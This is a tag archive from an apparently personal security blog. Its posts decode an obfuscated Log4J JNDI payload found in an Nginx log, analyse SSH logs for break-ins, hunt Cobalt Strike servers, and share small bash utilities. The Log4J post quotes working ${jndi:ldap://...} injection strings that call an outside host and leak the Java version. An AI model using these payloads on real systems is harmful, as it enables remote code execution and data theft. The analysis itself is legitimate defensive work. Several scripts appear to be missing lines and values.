Tag Archives: bash

Interesting Request – Log4J JNDI Exploit

Recently, I saw a person asking question on one of Telegram group that I’ve joined.

The person said that if anyone know what kind of request is this. The person give the questioned logs – saying that this is from Nginx log: - - [07/Aug/2023:08:30:53 +0000] "GET /${${u:n1:9:-j}${lr9t:-n}${uh:9n:-d}${o3k:j:-i}${s:4w:-:}${q:-l}${awd:-d}${h76x:-a}${y:c:-p}${t5i8:jtf5:-:}${m9:v12:-/}${a:sl8k:hdm8:-/}${gj:r2lq:-P}${6:0:-A}${e58:s0:-l}${7zyk:c:-0}${cw:9et:ute:-c}${tf:79jg:--}${${3sfd:14r:-s}${plvu:-y}${f:-s}${bi0:3:-:}${n7du:vjn5:s9ur:-j}${7c9y:-a}${bgw:p2:0:-v}${wn1z:u8q:97b5:-a}${3r4:todc:-.}${oe3g:318:xt1:-v}${mxps:-e}${ie7:7:iv6:-r}${2yl0:x:28eh:-s}${grtd:zm9t:-i}${3j:-o}${6stx:f:-n}}${ifx:8x1b:-.}${9ot:4xbq:as:-1}${5yg:mj4l:-f}${0o:-7}${o5:-1}${y:8c:-8}${7l45:7vlp:hw:-e}${d3:uiqe:-d}${akg:6gc:n26:-c}${hvl:gud1:-f}${at5:9:-2}${e:-c}${u24c:-0}${obl:ps:n:-f}${iq:-9}${kf0:fa:-f}${ubg:ymae:m8a:-c}${e47q:-5}${zq:gnx:dp:-c}${p:-c}${6r:2je3:-f}${kja8:4wk:wy2t:-c}${8oz:n:-0}${rw:-6}${fr:-6}${zj:-b}${tki:-9}${1l5:-8}${6bw1:8p:9j51:-7}${irbs:-3}${32:i:-c}${h:8jxp:3p:-3}${m8:1:-c}${yp:p:yet:-3}${e:a:-3}${op:-8}${86:1:lf0:-f}${k:e:-d}${u:-9}${y9d:576:-0}${4:af:-e}${q:b5l:-2}${if5:-a}${wb6:ica:-.}${7n:-z}${8qch:kp2i:i1xh:-.}${mbix:hd:-7}${jod:4:-b}${z89:hrp:-a}${xdv:w:te:-e}${s:9e:-.}${fuz:uk2:y:-x}${j:tg:-y}${7:-z}} HTTP/1.1" 404 6622 "${${ao:-j}${8w:-n}${3:-d}${jwi:-i}${c:zcwm:tdvi:-:}${yme:-l}${hze:nkbo:-d}${oe3:8gp:-a}${s1:-p}${2:0:yxq:-:}${k:4g:-/}${7:-/}${bz:-R}${au02:ohx:-E}${7sv:-l}${vazk:-0}${i:-c}${vq:--}${${tde:o:-s}${0:n:kp:-y}${58q0:dkei:-s}${9:5:-:}${ya0:fpa:-j}${4:-a}${i:-v}${ro:tja:-a}${yw:oy:-.}${c8:-v}${ajk:dc:-e}${vqp6:-r}${jwk:e:2:-s}${pin1:-i}${t17:-o}${zlc5:xsm:xe:-n}}${2j:-.}${pu:q:-1}${awp:t:-f}${1f:-7}${e:q0:-1}${k:-8}${e:w9:-e}${nbxi:-d}${zmn5:-c}${n0o:qm:-f}${1qs:6ja7:-2}${pcs:5:-c}${jc:-0}${yg:-f}${r:-9}${qkz0:4dm:3:-f}${lpje:r:34:-c}${si7:-5}${c:nrq:-c}${l1:-c}${n:e24:a:-f}${sx3i:1wx:-c}${0:re:7:-0}${j8l:yv:y8:-6}${xcmy:m:xly6:-6}${xoug:y0t:lvd:-b}${7rl:ms:-9}${o3vj:h:w:-8}${tofq:1mky:1q:-7}${2j:tf:49if:-3}${8zj:q:1o:-c}${2anb:u4:-3}${y:-c}${rxz:2us:3r:-3}${fy1u:b1:-3}${o:3:-8}${e6:gy:9qj:-f}${8sc9:-d}${op:5d8q:p4v:-9}${fu:bza6:ljh:-0}${t1:q:-e}${pzsx:-2}${s81x:-a}${ht:7nja:1x:-.}${xd:1g:7k:-z}${bgt:g7b:pkj7:-.}${eiu8:k8m:-7}${ng:kbtm:4d0a:-b}${rh:8f42:-a}${v:8:5:-e}${mbv:cxyn:h9ko:-.}${sq32:-x}${pqe:-y}${8vt3:j:-z}}" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36" ""
Code language: Access log (accesslog)

I never saw this kind of request. Quick Googling also did not find any answers.

Further inspection of the request line, it seems like obfuscated – the request is using looks like Bash parameter expansion feature.

Let’s try to translate the line 1-by-1:


Which translate into:


So, lets create a script that extract value after colon “-:”


# Your obfuscated string

# Use grep to match the pattern, then sed to extract the value after the colon
result=$(echo "$string" | grep -oP ':-\K[^}]+' | tr -d '\n')

echo "$result" # Outputs "jndi:l..."

Replace the “string” with the obfuscated string that we observed in the logs given.

Save the code & run it. Ta Daa! The output shown as below; seems related to Log4J JNDI exploitations: - - [07/Aug/2023:08:30:53 +0000] "GET /${jndi:ldap://PAl0c-${sys:java.version}.1f718edcf2c0f9fc5ccfc066b9873c3c338fd90e2a.z.7bae.xyz} HTTP/1.1" 404 6622 "${jndi:ldap://REl0c-${sys:java.version}.1f718edcf2c0f9fc5ccfc066b9873c3c338fd90e2a.z.7bae.xyz}" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36" ""
Code language: Access log (accesslog)

Break-In Analyzer – Quickly analyze auth.log, secure, utmp & wtmp logs for possible SSH break-in attempts

Recently, I encountered incident where several hosts been infected by < █████████ >. So, to investigate this incident, we received bunch of logs to be analyze; mostly Linux related logs.

I’ve been thinking.. What if the host has been successfully brute-forced? How can we identify it?

In Linux, there are several logs that we can refer that contains authentication logs for both successful or failed logins, and authentication processes. Location & names of the logs varies; depending on system type. For Debian/Ubuntu, the logs located at /var/log/auth.log. For Redhat/CentOS, the logs located at /var/log/secure.

There are 2 more logs that we can refer;
/var/log/utmp: current login state by user.
/var/log/wtmp: record of each user login/logout.

So, what if we write a script to quickly go thru those mentioned logs & identify the culprits? Probably we can find out if our host has been successfully brute-forced.

Introducing.. Break-In AnalyzerA script that analyze the log files /var/log/auth.log (for Debian based systems), /var/log/secure (for RHEL based systems), utmp/wtmp for possible SSH break-in attempts. – https://github.com/zam89/Break-In-Analyzer

Here are some screenshot of the script in action:

Analyzing auth.log
Analyzing secure logs
Dumping & Analyzing wtmp files

The output result will be written into text file; stored into folder named output. Inside the folder will contains file named:

So, you must been wondering; how can I validate these IPs? whether they are harmless or not? Well, to do that, we can use AbuseIPDB to quickly see each of IP reputation; either they’re clean or has been reported due to malicious activity.

In this example, I’m using AbuseIPDB Bulk Checker from – https://github.com/AdmiralSYN-ACKbar/bulkcheck. This tool can perform bulk checking of IPs towards AbuseIPDB website. *Just a side notes: it require API key from AbuseIPDb. You can get it for free by registering on the website. Its limited to 1000 request/IPs per day.

So, I’m checking 203 IPs that we got from Break-In Analyzer script output (after removing duplicated using Excels) on AbuseIPDB if there is any records for those IPs. After the check completed, the result shows something like this:

AbuseIPDB Bulk Checker result

If you filter out by abuseConfidenceScore (removing score 0), you’ll see there are 3 IPs that having kinda high confidence score. The higher the score, the more chances the IP marked as malicious – meaning that the IP has been reported multiple times related to malicious activities.

Next, we cross check with our Break-In Analyzer outputs to see where did these IPs located on the logs. Or you can cross check directly with your logs. To do that, run command as below:

$ grep --perl-regexp "" --color=always --only-matching --recursive * | sort | uniq --count | sort --numeric --reverse

This command is basically searching where the IP “” located/contains inside the log. If you run the command, you’ll see output as below:

Now we know that the IP “” is contains inside wtmp dump log:
– node2/output/wtmpdump_output.txt
– node1/output/wtmpdump_output.txt

and also inside tools output:
– node2/output/output_node2.txt
– node1/output/output_node1.txt

If we go search inside the wtmp dump log for that IP ““, we found that the IP has been accessing the system since Feb 2016… hmm.. 🤦

cat node2/output/wtmpdump_output.txt | grep --color=always

This may indicate that the attacker has been leveraging the host for very long time.

Next step is probably to search what the IP or the account “portaladmin-ts” is doing inside the host.

Hunting for possible attacker Cobalt-Strike infra

Recently, we have an incident where suspicious traffic was observed related to external C2. Initial finding found that this IP ( resolved to
atakai[-]technologies[.]host; according to pDNS in Virustotal [1].

So, further digging on this IP found it has port 50050 open. Based on Recorded Future threat analysis report & Cobalt Strike Team Server Population Study, it mentioned that default port for Cobalt Strike controller is on port 50050.

So, I asked to myself. What if the neighboring IPs were also been setup for Cobalt Strike infrastructure? So I decided to go on this journey…

First, we know that the IP range is By using this tool, we can convert CIDR notation to a range of IP addresses.

The result, we have 2048 addresses; IP address range between

Next, we using online tool named Reverse IP & DNS API from WhoisXML API. Function of this tools is to reveals all domains that share an IP address. Example as below:

To use this tools, we need to buy credit to leverage its API. As for free account, you only have 100 credit to be use on Domain Research Suite tools. But on this case, we need around 2050 credit. Based on their website, 1000 DRS credits = $19.00. So.. yeah..

After you have enough credit, you can use the script as below:



for i in $(cat ip.txt); do
	content="$(curl -s "$url$i")"
	echo "$content" >> output.txt

Remember to put your API key into the script. It will basically produce result into “output.txt“.

After that, import you result into Excel. Then, we sort and select possible domains from the output based on domain naming convention; e.g. atakai, amatai, amamai:

Now we have possible suspected IPs & domains. To further digging, we’ll leverage Shodan.io to see what are the open port available for those IPs.

To use it, we’ll using script as below:

$ curl -s https://api.shodan.io/shodan/host/{,,,,,,,,,,}?key=shodan_apikey | jq -r '. | "IP: \(.ip_str) Ports: \(.ports)"'

The output should be like this:

Now we know 7/11 (no pun intended) IPs been observed by Shodan having port 50050 opened. This indicate that this set of IPs possibly used part of Cobalt Strike infra.

Next step is we can search for date registration for each domain from Whois data. But I’m too lazy to continue this. Also I’ve encountered where several Whois provider giving different info regarding of domain registration date. So yeah, maybe I’ll update next time when I’m free 😉

Check bulk IP for reverse DNS (rDNS)

Recently I’ve encounter list of IPs that are related to CoinHive. So I want to check for domains that tied to these IPs. We can do that by using dig command to perform reverse DNS (rDNS).

Reverse DNS (rDNS) is a method of resolving an IP address into domain name, just as the domain name system (DNS) resolves domain names into associated IP addresses.

I found this script at this site:


for item
        domain=$(dig -x "$item"  +short)
        if [ -n "$domain"  ] ;
            echo "$item" - "$domain"
            echo "$item" result is NULL

Just save this code above in your Linux/*nix machine, and run this command as below:

root@box:~# cat ip.txt | xargs bash reverse_dns

The result should be like this:

Flatten a Nested Directory & File Hierarchy from Command Line of OS X

Lets say you have this kind of file/folder structure:

master folder ---- folder1 ---- image1.jpg
               |            |
               |            |-- image2.jpg
               |-- folder2 ---- image1.jpg
               |            |
               |            |-- image2.jpg
               |-- etc.

You can take all the *.jpg file or any file type, and move it into one single/master folder.
Here are the command to use:

cd <master_directory> <-- master/top folder where all the file are located inside it
find * -type f -print0 | xargs -0 -I%%% mv -n %%% ../<new_directory> <-- "new destination folder"

Shell script fails: Syntax error: “(” unexpected

There’s one time I encountered this error when executing a bash code/script:

install.sh: Syntax error: "(" unexpected

The script does not begin with a shebang line, so the kernel executes it with /bin/sh. On Ubuntu, /bin/sh is dash, a shell designed for fast startup and execution with only standard features. When dash reaches the line, it sees a syntax error: that parenthesis doesn’t mean anything to it in context.

Since dash (like all other shells) is an interpreter, it won’t complain until the execution reaches the problematic line. So even if the script successfully started at some point in your testing, it would have aborted once the problematic line was reached.

The shebang line must be the very first thing in the file. Since you use bash features, the first line of the file must be #!/bin/bash or #!/usr/bin/env bash.